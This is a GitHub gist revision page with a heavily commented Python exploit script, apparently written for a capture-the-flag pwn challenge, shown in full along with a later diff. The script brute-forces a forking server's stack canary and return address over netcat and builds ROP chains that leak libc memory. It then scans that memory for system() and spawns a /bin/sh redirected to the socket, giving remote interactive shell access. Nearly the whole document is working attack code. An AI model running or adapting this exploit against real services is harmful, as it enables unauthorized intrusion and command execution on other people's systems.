Skip to content

Instantly share code, notes, and snippets.

@thedroidgeek
Last active February 22, 2019 20:11
Show Gist options
  • Select an option

  • Save thedroidgeek/342785f1dc30a1f72bd1282ef945c00f to your computer and use it in GitHub Desktop.

Select an option

Save thedroidgeek/342785f1dc30a1f72bd1282ef945c00f to your computer and use it in GitHub Desktop.

Revisions

  1. thedroidgeek revised this gist Feb 22, 2019. 1 changed file with 22 additions and 19 deletions.
    41 changes: 22 additions & 19 deletions pwnable1.py
    Original file line number Diff line number Diff line change
    @@ -18,10 +18,6 @@
    import subprocess


    host = '127.0.0.1'
    port = '7331'


    def syncstdin(o):
    while True:
    line = sys.stdin.readline()
    @@ -70,33 +66,38 @@ def sig_scan(buf, sig):
    # extract byte array + mask from sig string
    str_bytes = sig.split()
    for sb in str_bytes:
    if sb == '?' or sb == '??':
    if sb == '?':
    mask.append(False)
    bytes += '\0'
    else:
    mask.append(True)
    bytes += chr(int(sb, 16))
    bytes += chr(int(sb[0:2], 16))

    # buffer can't be smaller than sig
    if len(buf) < len(mask):
    return None

    # scan the supplied buffer
    found = False
    for i in range(len(buf)-(len(mask)-1)):
    for j in range(len(mask)):
    if mask[j] and buf[i+j] != bytes[j]:
    break
    if j == len(mask)-1:
    found = True
    if found:
    return i

    return i
    return None


    def main():

    if len(sys.argv) != 3:
    print('usage: ' + sys.argv[0] + ' [host] [port]')
    exit()

    global host
    host = sys.argv[1]
    global port
    port = sys.argv[2]

    # connectivity test
    spawn_process().stdin.write('\n')

    @@ -237,8 +238,8 @@ def main():
    exit()

    print('scanning for system()...')
    offset = sig_scan(libc_dump, '''48 85 FF 74 0B E9 ? ? ? ? 66 0F 1F 44 00 00 48 8D 3D ? ? ? ?
    48 83 EC 08 E8 ? ? ? ? 85 C0 0F 94 C0 48 83 C4 08 0F B6 C0 C3''')
    offset = sig_scan(libc_dump, '''48 85 FF 74 0B E9 ? ? ? ? 66 0F 1F 44 00 00 ? ? ? ? ? ? ? ? ? ? ?
    E8 ? ? ? ? 85 C0 0F 94 C0 48 83 C4 08 0F B6 C0 C3''')

    if offset is None:
    print('failed to find system() :(')
    @@ -255,13 +256,15 @@ def main():

    print('popping a shell...')

    cmd_str = '/bin/sh 0>&4 1>&4 2>&4'

    p = spawn_process()

    payload = struct.pack('<Q', check_func + 0xAE) # pop rdi ; ret
    payload += struct.pack('<Q', stack_addr - 0x8F) # command string address
    payload += struct.pack('<Q', system_addr) # system()
    payload += 'A' * 985
    payload += '/bin/sh 0>&4 1>&4 2>&4\0' # the actual command string
    payload = struct.pack('<Q', check_func + 0xAE) # pop rdi ; ret
    payload += struct.pack('<Q', stack_addr - 0x79 - len(cmd_str)) # command string address
    payload += struct.pack('<Q', system_addr) # system()
    payload += 'A' * (1007 - len(cmd_str))
    payload += cmd_str + '\0' # the actual command string, null terminated
    payload += struct.pack('<Q', stack_canary)
    payload += struct.pack('<Q', stack_addr - 0x488) # top of rop chain
    payload += struct.pack('<Q', check_func - 0x269) # leave ; ret
    @@ -290,4 +293,4 @@ def main():
    try:
    sys.exit(0)
    except SystemExit:
    os._exit(0)
    os._exit(0)
  2. thedroidgeek created this gist Oct 19, 2018.
    293 changes: 293 additions & 0 deletions pwnable1.py
    Original file line number Diff line number Diff line change
    @@ -0,0 +1,293 @@
    #!/usr/bin/env python

    #
    # learning python and making use of my ocd by sharing heavily commented scripts
    # i've probably spent too much time on because i had nothing better to do (part 1):
    # solution for a pwn challenge (the name of which is intentionally omitted to prevent spoilers)
    # binary: https://bit.ly/2Pdu90o
    #
    # by Sami Alaoui (thedroidgeek)
    #


    import os
    import sys
    import time
    import struct
    import threading
    import subprocess


    host = '127.0.0.1'
    port = '7331'


    def syncstdin(o):
    while True:
    line = sys.stdin.readline()
    if line:
    o.stdin.write(line)

    def syncstdout(o):
    while True:
    line = o.stdout.readline()
    if line:
    sys.stdout.write(line)


    def spawn_process(debug=False):

    # spawn netcat process
    p = subprocess.Popen(['nc', host, port], stdin=subprocess.PIPE, stdout=subprocess.PIPE, stderr=subprocess.PIPE)

    # check we got a valid session
    if 'Username: ' not in p.stdout.read(10):
    print('unexpected nc output - check your connectivity')
    exit()

    # delay for debugger attachment
    if debug:
    print('waiting for debugger (pid: ' + str(p.pid+1) + ')...')
    time.sleep(10)

    return p


    def finalize_payload(payload):

    # input buffer gets single byte xored with 0xD before memcmp
    for i in range(len(payload)):
    payload = payload[:i] + chr(ord(payload[i]) ^ 0xD) + payload[i+1:]

    return payload


    def sig_scan(buf, sig):

    bytes = ''
    mask = []

    # extract byte array + mask from sig string
    str_bytes = sig.split()
    for sb in str_bytes:
    if sb == '?' or sb == '??':
    mask.append(False)
    bytes += '\0'
    else:
    mask.append(True)
    bytes += chr(int(sb, 16))

    # buffer can't be smaller than sig
    if len(buf) < len(mask):
    return None

    # scan the supplied buffer
    found = False
    for i in range(len(buf)-(len(mask)-1)):
    for j in range(len(mask)):
    if mask[j] and buf[i+j] != bytes[j]:
    break
    if j == len(mask)-1:
    found = True
    if found:
    return i

    return None


    def main():

    # connectivity test
    spawn_process().stdin.write('\n')


    #
    # stage 1: bruteforce the stack canary, previous base pointer, and the return address
    # in order to bypass ASLR - this is possible because the process forks itself
    # on each socket connection, which implies preserving the address space layout
    # of the parent process, which allows us to guess stack saved info by simply
    # knowing whether the program successfully returned from a function call, or not
    # (by expecting output from the caller function - 'Username found!', in our case)
    #
    # note: bruteforcing the return address (last 8 bytes), however, is done by using the
    # check_username function call as an oracle (expect 'Username: ' in stdout):
    # .text:0000XXXXXXXXXEC5 mov eax, [rbp+fd]
    # .text:0000XXXXXXXXXEC8 mov edi, eax
    # .text:0000XXXXXXXXXECA call check_username
    # we use EC5 as the least significant '3 hex digits' (ASLR doesn't affect these)
    # to eliminate the chance of accidentally calling unexpected blocking code,
    # which would otherwise freeze the bruteforcing process...
    #

    print('bruteforcing stack canary, saved rbp, and retn address (24 bytes)')
    print('hang tight, this could take a while...')

    payload = 'davide' # the username (oracle trigger)
    payload += 'A' * 1026 # padding

    oracle_str = 'Username found!'

    for i in range(24):

    found = False
    iter_num = 0x100

    if i == 16: # 1st known ret addr byte
    byte = 0xC5 ^ 0xD
    print('skipped #' + str(i+1) + ': ' + hex(byte))
    payload += chr(byte)
    continue

    elif i == 17: # 2nd half-known byte
    iter_num = 0x10
    oracle_str = 'Username: ' # oracle change

    for j in range(iter_num):

    p = spawn_process()

    if i == 17: # most significant nibble
    curr_byte = j << 4 | 0xE ^ 0xD
    else:
    curr_byte = j

    p.stdin.write(payload + chr(curr_byte))

    if oracle_str == p.stdout.read(len(oracle_str)):

    found = True
    print('got byte #' + str(i+1) + ': ' + hex(curr_byte))
    payload += chr(curr_byte)

    if i > 16: # don't leave hanging prompts
    p.stdin.write('\n')

    break

    if not found:
    print('failed to get byte #' + str(i+1) + ' :(')
    exit()

    stack_canary = struct.unpack('<Q', payload[1032:1040])[0] ^ 0xD0D0D0D0D0D0D0D
    stack_addr = struct.unpack('<Q', payload[1040:1048])[0] ^ 0xD0D0D0D0D0D0D0D
    check_func = struct.unpack('<Q', payload[1048:1056])[0] ^ 0xD0D0D0D0D0D0D0D

    print('canary: ' + hex(stack_canary))
    print('saved rbp: ' + hex(stack_addr))
    print('check_username call @ ' + hex(check_func))


    #
    # stage 2: leak a libc function's address to bypass ASLR on libc
    # using a rop chain that calls write(4, ...) on a function's .plt.got entry
    # note that '4' is the file descriptor returned from the socket accept() call
    #

    print('leaking a libc address from .plt.got...')

    p = spawn_process()

    payload = struct.pack('<Q', check_func + 0xAE) # pop rdi ; ret
    payload += struct.pack('<Q', 4) # 1st arg (rdi): file descriptor (socket)
    payload += struct.pack('<Q', check_func + 0xAC) # pop rsi ; pop r15 ; ret
    payload += struct.pack('<Q', check_func + 0x2011C3) # 2nd arg (rsi): buffer (atoi() entry on .plt.got)
    payload += struct.pack('<Q', 0) # r15, unused
    payload += struct.pack('<Q', check_func - 0x372) # pop rdx ; ret
    payload += struct.pack('<Q', 8) # 3rd arg (rdx): count (sizeof(void*))
    payload += struct.pack('<Q', check_func - 0x5B5) # write()
    payload += 'A' * 968
    payload += struct.pack('<Q', stack_canary)
    payload += struct.pack('<Q', stack_addr - 0x488) # top of rop chain (saved rbp)
    payload += struct.pack('<Q', check_func - 0x269) # leave ; ret (to rewind stack)

    p.stdin.write(finalize_payload(payload))

    libc_atoi = struct.unpack('<Q', p.stdout.read(8))[0]
    print('atoi @ ' + hex(libc_atoi))


    #
    # stage 3: leak memory around the libc function to scan for system() with a signature
    # since libc versions (and therefore offsets) differ across machines/distros
    #

    print('leaking 0x40000 bytes of libc memory...')

    p = spawn_process()

    payload = struct.pack('<Q', check_func + 0xAE) # pop rdi ; ret
    payload += struct.pack('<Q', 4) # file descriptor
    payload += struct.pack('<Q', check_func + 0xAC) # pop rsi ; pop r15 ; ret
    payload += struct.pack('<Q', libc_atoi - 0x20000) # buffer
    payload += struct.pack('<Q', 0) # r15
    payload += struct.pack('<Q', check_func - 0x372) # pop rdx ; ret
    payload += struct.pack('<Q', 0x40000) # count
    payload += struct.pack('<Q', check_func - 0x5B5) # write()
    payload += 'A' * 968
    payload += struct.pack('<Q', stack_canary)
    payload += struct.pack('<Q', stack_addr - 0x488) # top of rop chain
    payload += struct.pack('<Q', check_func - 0x269) # leave ; ret

    p.stdin.write(finalize_payload(payload))

    libc_dump = p.stdout.read(0x40000)

    if len(libc_dump) == 0:
    print('failed to receive bytes :(')
    exit()

    print('scanning for system()...')
    offset = sig_scan(libc_dump, '''48 85 FF 74 0B E9 ? ? ? ? 66 0F 1F 44 00 00 48 8D 3D ? ? ? ?
    48 83 EC 08 E8 ? ? ? ? 85 C0 0F 94 C0 48 83 C4 08 0F B6 C0 C3''')

    if offset is None:
    print('failed to find system() :(')
    exit()

    system_addr = libc_atoi + offset - 0x20000
    print('found system() at offset ' + hex(offset) + ' (' + hex(system_addr) + ')')


    #
    # stage 4: spawn a shell with stdin, stdout and stderr all redirected to
    # to the socket file descriptor (4), so we can actually interact with it
    #

    print('popping a shell...')

    p = spawn_process()

    payload = struct.pack('<Q', check_func + 0xAE) # pop rdi ; ret
    payload += struct.pack('<Q', stack_addr - 0x8F) # command string address
    payload += struct.pack('<Q', system_addr) # system()
    payload += 'A' * 985
    payload += '/bin/sh 0>&4 1>&4 2>&4\0' # the actual command string
    payload += struct.pack('<Q', stack_canary)
    payload += struct.pack('<Q', stack_addr - 0x488) # top of rop chain
    payload += struct.pack('<Q', check_func - 0x269) # leave ; ret

    p.stdin.write(finalize_payload(payload))

    # hi linux
    p.stdin.write('uname -a\n')

    # emulate an interactive shell
    stdint = threading.Thread(target=syncstdin, args=(p,))
    stdoutt = threading.Thread(target=syncstdout, args=(p,))
    stdint.daemon = True
    stdoutt.daemon = True
    stdint.start()
    stdoutt.start()

    # wait for nc session to terminate
    p.wait()


    if __name__ == '__main__':
    try:
    main()
    except KeyboardInterrupt:
    try:
    sys.exit(0)
    except SystemExit:
    os._exit(0)